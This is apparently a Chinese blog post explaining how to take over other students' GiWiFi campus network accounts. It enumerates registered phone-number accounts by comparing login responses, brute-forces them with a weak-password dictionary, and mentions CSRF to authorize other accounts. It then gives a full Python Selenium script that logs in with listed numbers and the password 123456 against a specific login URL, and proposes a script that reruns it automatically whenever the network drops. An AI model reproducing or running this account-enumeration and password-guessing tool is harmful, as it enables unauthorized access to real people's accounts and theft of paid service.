发现思路:

账号:

1、我所在的学校使用 GIWIFI 的校园网解决方案,登陆账号为学生本人的手机号。学校学生使用的手机号均为学校内运营商入学时发放的校园卡,均处在一个号段,每个账号每天拥有 15 分钟的免费时长。 2、手机号如果注册过 GIWIFI,正确登陆后便可使用互联网服务。如果账号未注册 GIWIFI,使用任意密码登录后便会要求填写身份信息。根据这项区别便可使用手机号段字典爆破出注册过的账号。

密码:

GIWIFI 官方要求使用的密码为 6 位及以上,所以使用弱口令字典进行爆破。

登陆:

有了账号和密码,便需要解决登陆问题。我的思路是使用 python 进行自动登录。同时可以使用 CSRF 攻击实现越权对其他账号上网状态进行授权

实现过程:

1、使用 python 的 webdriver 库,自动打开校园网的登陆链接。
wd = webdriver.Chrome()

wd.implicitly_wait(10)  

wd.set_page_load_timeout(10)

wd.get("http://login.gwifi.com.cn/cmps/admin.php/api/login/?
gw_address=172.16.1.5&gw_port=8060&gw_id=GWIFI-qingdaoshankedaD2&ip=172.17.142.232&mac=F0:18:98:19:70:D9&url=http://www.baidu.com?ua=Mozilla&apmac=00:0b:ab:f1:c6:d4&ssid=")  

wd.maximize_window()

最后一行代码指定 python 调用浏览器后的显示方式为最大化,如果要静默使用可以将 maximize 换成 minimize

2、传递用户名密码参数,并点击登陆
name_input = wd.find_element_by_id('first_name')  # 找到用户名的框框. 

pass_input = wd.find_element_by_id('first_password')  

login_button = wd.find_element_by_id('first_button')  

name_input.clear()  

name_input.send_keys(phonenumber[0])  # 填写用户名  

time.sleep(0.2) 

pass_input.clear()

pass_input.send_keys(123456)  # 填写密码

time.sleep(0.2)

login_button.click()         # 点击登录

wd.implicitly_wait(4)

wd.quit()
3、其他工作

·关于用户名密码,我选择的方式是存在文件里,然后使用 python 读文件的方式向网页中传递参数。
·关于 wd 库,之所以选择 wd 库是因为这样可以看到登陆的状态,若果选择通过 requests 库直接传递参数,便不会在第一时间发现网络连接不通畅和详细的问题。
·关于自动登录,使用 sh 的 ping 命令原理,新建脚本,每五分钟运行一次,断网后自动调用 python 脚本。

全部代码:

# -*- coding:utf-8 -*-

from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.by import By
import time


# option=webdriver.ChromeOptions()
# option.add_argument('--headless')
# option.add_argument('--no-sandbox')
# option.add_argument('--start-maximized')
# wd = webdriver.Chrome(chrome_options=option)


wd = webdriver.Chrome()
wd.implicitly_wait(10)
wd.set_page_load_timeout(10)
wd.get("http://login.gwifi.com.cn/cmps/admin.php/api/login/?gw_address=172.16.1.5&gw_port=8060&gw_id=GWIFI-qingdaoshankedaD2&ip=172.17.142.232&mac=F0:18:98:19:70:D9&url=http://www.baidu.com?ua=Mozilla&apmac=00:0b:ab:f1:c6:d4&ssid=")
wd.maximize_window()
file = open("giwifi2.txt")
phonenumber = file.readlines()
for i in range(len(phonenumber)):
    phonenumber[i] = phonenumber[i].replace("\n","") 
    pass
# print(phonenumber[0])
# print(type(phonenumber))

"""这段可以查看selenium的源码,属于smart wait"""
name_input = wd.find_element_by_id('first_name')  # 找到用户名的框框
pass_input = wd.find_element_by_id('first_password')
login_button = wd.find_element_by_id('first_button')
name_input.clear()
name_input.send_keys(phonenumber[0])  # 填写用户名
time.sleep(0.2)
pass_input.clear()
pass_input.send_keys(123456)  # 填写密码
time.sleep(0.2)
login_button.click()         # 点击登录
wd.implicitly_wait(4)
wd.quit()
print (phonenumber[0])
del phonenumber[0]
file.close()
file = open("giwifi2.txt", "w")
for i in range(len(phonenumber)):
    file.write(phonenumber[i])
    file.write("\n")
    pass
file.close()
print ("All Done")
exit()